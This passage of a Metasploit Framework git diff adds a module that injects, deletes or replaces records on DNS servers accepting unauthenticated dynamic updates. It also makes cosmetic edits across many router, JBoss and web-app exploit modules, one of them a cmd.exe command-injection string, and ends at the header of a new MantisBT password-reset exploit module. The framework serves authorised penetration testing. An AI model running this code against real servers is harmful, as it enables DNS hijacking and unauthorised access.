+      OptString.new('DOMAIN', [true, 'The domain name']),
+      OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
+      OptString.new('HOSTNAME', [true, 'The name record you want to add']),
+      OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
+      OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
+      OptEnum.new('TYPE',  [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
+      OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
+    ])
+
+    deregister_options('RPORT')
+  end
+
+  def record_action(type, type_enum, value, action)
+    # Send the update to the zone's primary master.
+    domain = datastore['DOMAIN']
+    fqdn   = "#{datastore['HOSTNAME']}.#{domain}"
+    opts   = {nameserver: datastore['RHOST']}
+    if datastore['CHOST'] && datastore['CHOST'] != ""
+      if Rex::Socket.is_ipv4?(datastore['CHOST'])
+        opts[:src_address] = datastore['CHOST']
+      elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
+        opts[:src_address6] = datastore['CHOST']
+      end
+    end
+    resolver = Dnsruby::Resolver.new(opts)
+    update   = Dnsruby::Update.new(domain)
+    updated  = false
+    case
+      when action == :resolve
+        begin
+          answer = resolver.query(fqdn, type)
+          print_good "Found existing #{type} record for #{fqdn}"
+          return true
+        rescue Dnsruby::ResolvError, IOError => e
+          print_good "Did not find an existing #{type} record for #{fqdn}"
+          vprint_error "Query failed: #{e.message}"
+          return false
+        end
+      when action == :add
+        print_status("Sending dynamic DNS add message...")
+        update.absent("#{fqdn}.", type)
+        update.add("#{fqdn}.", type_enum, 86400, value)
+        begin
+          resolver.send_message(update)
+          print_good "The record '#{fqdn} => #{value}' has been added!"
+          updated = true
+        rescue Dnsruby::ResolvError, IOError => e
+          print_error "Cannot add #{fqdn}"
+          vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
+          vprint_error "Update failed: #{e.message}"
+        end
+      when action == :delete
+        begin
+          print_status("Sending dynamic DNS delete message...")
+          update.present(fqdn, type)
+          update.delete(fqdn, type)
+          resolver.send_message(update)
+          print_good("The record '#{fqdn} => #{value}' has been deleted!")
+          updated = true
+        rescue Dnsruby::ResolvError, IOError => e
+          print_error "Cannot delete #{fqdn}"
+          vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
+          vprint_error "Update failed: #{e.message}"
+        end
+    end
+    updated
+  end
+
+  def update_record(type:, type_enum:, value:, value_name:)
+    if value.nil? || value == ""
+      print_error "Record type #{type} requires the #{value_name} parameter to be specified"
+      return
+    end
+    force = datastore['CHOST'] && datastore['CHOST'] != ""
+    case
+      when action.name == 'UPDATE'
+        if force
+          record_action(type, type_enum, value, :delete)
+          record_action(type, type_enum, value, :add)
+        else
+          if record_action(type, type_enum, value, :resolve)
+            if record_action(type, type_enum, value, :delete)
+              record_action(type, type_enum, value, :add)
+            end
+          else
+            record_action(type, type_enum, value, :add)
+          end
+        end
+      when action.name == 'ADD'
+        if force
+          record_action(type, type_enum, value, :add)
+        else
+          if record_action(type, type_enum, value, :resolve) == false
+            record_action(type, type_enum, value, :add)
+          else
+            print_error "Record already exists, try DELETE or UPDATE"
+          end
+        end
+      when action.name == 'DELETE'
+        if force
+          record_action(type, type_enum, value, :delete)
+        else
+          if record_action(type, type_enum, value, :resolve)
+            record_action(type, type_enum, value, :delete)
+          else
+            print_error "Record does not exist, not deleting"
+          end
+        end
+    end
+  end
+
+  def run
+    ip = datastore['IP']
+    value = datastore['VALUE']
+    begin
+      case
+      when datastore['TYPE'] == 'A'
+        update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
+      when datastore['TYPE'] == 'AAAA'
+        update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
+      when datastore['TYPE'] == 'CNAME'
+        update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
+      when datastore['TYPE'] == 'TXT'
+        update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
+      else
+        print_error "Invalid Record Type!"
+      end
+    rescue ArgumentError => e
+      print_error(e.message)
+    rescue Dnsruby::OtherResolvError
+      print_error("Connection Refused!")
+    rescue Dnsruby::DecodeError
+      print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
+    end
+  end
+end
diff --git a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb
index ceb3743c35..726a814b17 100644
--- a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb
+++ b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
@@ -76,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
index 476163ba08..b52b2dae3a 100644
--- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
+++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
index 81d2daef23..c7517ac200 100644
--- a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
+++ b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
index 4c7f19caea..f50f67129c 100644
--- a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
+++ b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb
index 044d7d60f7..892c0dfaa9 100644
--- a/modules/auxiliary/admin/firetv/firetv_youtube.rb
+++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -84,5 +83,4 @@ class MetasploitModule < Msf::Auxiliary
       fail_with(Failure::Unreachable, e)
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb
index 72a9e7ea26..12b004ce57 100644
--- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb
+++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
@@ -90,5 +89,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb
index bca32fac5a..b0679fd163 100644
--- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb
+++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -269,5 +268,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("Use it to log into #{login_url}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb
index d375fd2119..7929a6911b 100644
--- a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb
+++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb
index 95308820f9..a7828b3355 100644
--- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb
+++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb
index eef2160394..ada9ff7889 100644
--- a/modules/auxiliary/admin/http/axigen_file_access.rb
+++ b/modules/auxiliary/admin/http/axigen_file_access.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary
   def run
     print_status("Trying to login")
     if login
-      print_good("Login successful")
+      print_good("Login Successful")
     else
       print_error("Login failed, review USERNAME and PASSWORD options")
       return
@@ -173,5 +172,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return false
   end
-
 end
diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb
index 740235cf46..b00a4844e0 100644
--- a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb
+++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'digest'
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize
diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
index 8b0fb8f8fc..b52505b78b 100644
--- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
+++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -44,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary
 
       if (res and res.code == 500)
 
-        print_status("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
+        print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
 
         file = send_request_raw(
           {
diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb
index a4caacd056..b7e45f87ef 100644
--- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb
+++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -65,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
       print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
       print_line("#{rhost}:#{rport} - Output: #{res.body}")
     else
-      print_error("#{rhost}:#{rport} - Exploit failed.")
+      print_error("#{rhost}:#{rport} - Exploit failed")
     end
   end
 end
diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb
index f385f88a5d..d387f35353 100644
--- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb
+++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -50,7 +49,6 @@ class MetasploitModule < Msf::Auxiliary
     }.merge(service_data)
 
     login_data = {
-      last_attempted_at: DateTime.now,
       core: create_credential(credential_data),
       status: Metasploit::Model::Login::Status::UNTRIED,
       proof: opts[:proof]
diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb
index 270cd3e769..9cbfa6c1bb 100644
--- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb
+++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -47,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
     }.merge(service_data)
 
     login_data = {
-      last_attempted_at: DateTime.now,
       core: create_credential(credential_data),
       status: Metasploit::Model::Login::Status::UNTRIED,
       proof: opts[:proof]
diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb
index 281e7dfe9d..25db05464a 100644
--- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb
+++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize
diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
index 7e0256feb1..2b4f81af1c 100644
--- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
+++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -47,5 +44,4 @@ class MetasploitModule < Msf::Auxiliary
         'data'    => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
       }, 3)
   end
-
 end
diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb
index 3715a328b6..7d09a3f271 100644
--- a/modules/auxiliary/admin/http/iis_auth_bypass.rb
+++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -87,5 +86,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("You can bypass auth by doing: #{bypass_string}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb
index a83269157c..7d4061afe6 100644
--- a/modules/auxiliary/admin/http/intersil_pass_reset.rb
+++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
     super(update_info(info,
       'Name'          => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
       'Description'   => %q{
-          The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11
+          The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
           allows basic authentication bypass when the user string is greater
           than 127 bytes long.  The long string causes the password to be
           overwritten in memory, which enables the attacker to reset the
diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
index 961152c17b..76f03693a3 100644
--- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
+++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize
diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb
index 3bac14ae4f..b413c2451e 100644
--- a/modules/auxiliary/admin/http/jboss_bshdeployer.rb
+++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::JBoss
 
   def initialize
diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
index 1ad9208c91..2ef67ed71e 100644
--- a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
+++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::JBoss
 
   def initialize
diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb
index 6dac16b3c0..1157e40733 100644
--- a/modules/auxiliary/admin/http/jboss_seam_exec.rb
+++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -88,9 +87,9 @@ class MetasploitModule < Msf::Auxiliary
 
 
       if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
-        print_status("Exploited successfully")
+        print_good("Exploited successfully")
       else
-        print_status("Exploit failed.")
+        print_error("Exploit failed")
       end
     else
       print_error("Target appears not vulnerable!")
diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb
index 9ceb7083a0..1609f93885 100644
--- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb
+++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Joomla
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb
index 97e8999d98..7365629d0e 100644
--- a/modules/auxiliary/admin/http/kaseya_master_admin.rb
+++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
index 168ce3c5eb..f199b05b9f 100644
--- a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
+++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize
diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb
index 6036dcf3ef..c37793e4e5 100644
--- a/modules/auxiliary/admin/http/limesurvey_file_download.rb
+++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@
 require 'zip'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
index e858f3e090..c867d35dec 100644
--- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
+++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
index f7d1237aac..2f5f94a19a 100644
--- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
+++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
index 07394cf3e4..af0d5a3a65 100644
--- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
+++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
index 867c75366d..ab6b76eada 100644
--- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
+++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb
index 982b222de8..018f0ba5b4 100644
--- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb
+++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb
index 254ab59144..688702f56f 100644
--- a/modules/auxiliary/admin/http/manageengine_file_download.rb
+++ b/modules/auxiliary/admin/http/manageengine_file_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
index aa244d333b..9be0557ef9 100644
--- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
+++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/mantisbt_password_reset.rb b/modules/auxiliary/admin/http/mantisbt_password_reset.rb
new file mode 100644
index 0000000000..138607c981
--- /dev/null
+++ b/modules/auxiliary/admin/http/mantisbt_password_reset.rb
@@ -0,0 +1,113 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'       => "MantisBT password reset",
+      'Description'  => %q{
+        MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
+      },
+      'License'    => MSF_LICENSE,
+      'Author'     =>
+        [
+          'John (hyp3rlinx) Page',  # initial discovery
+          'Julien (jvoisin) Voisin' # metasploit module
+        ],
+      'References'   =>
+        [
+          ['CVE', '2017-7615'],
+          ['EDB', '41890'],
+          ['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
+          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
+        ],
+      'Platform'     => ['win', 'linux'],
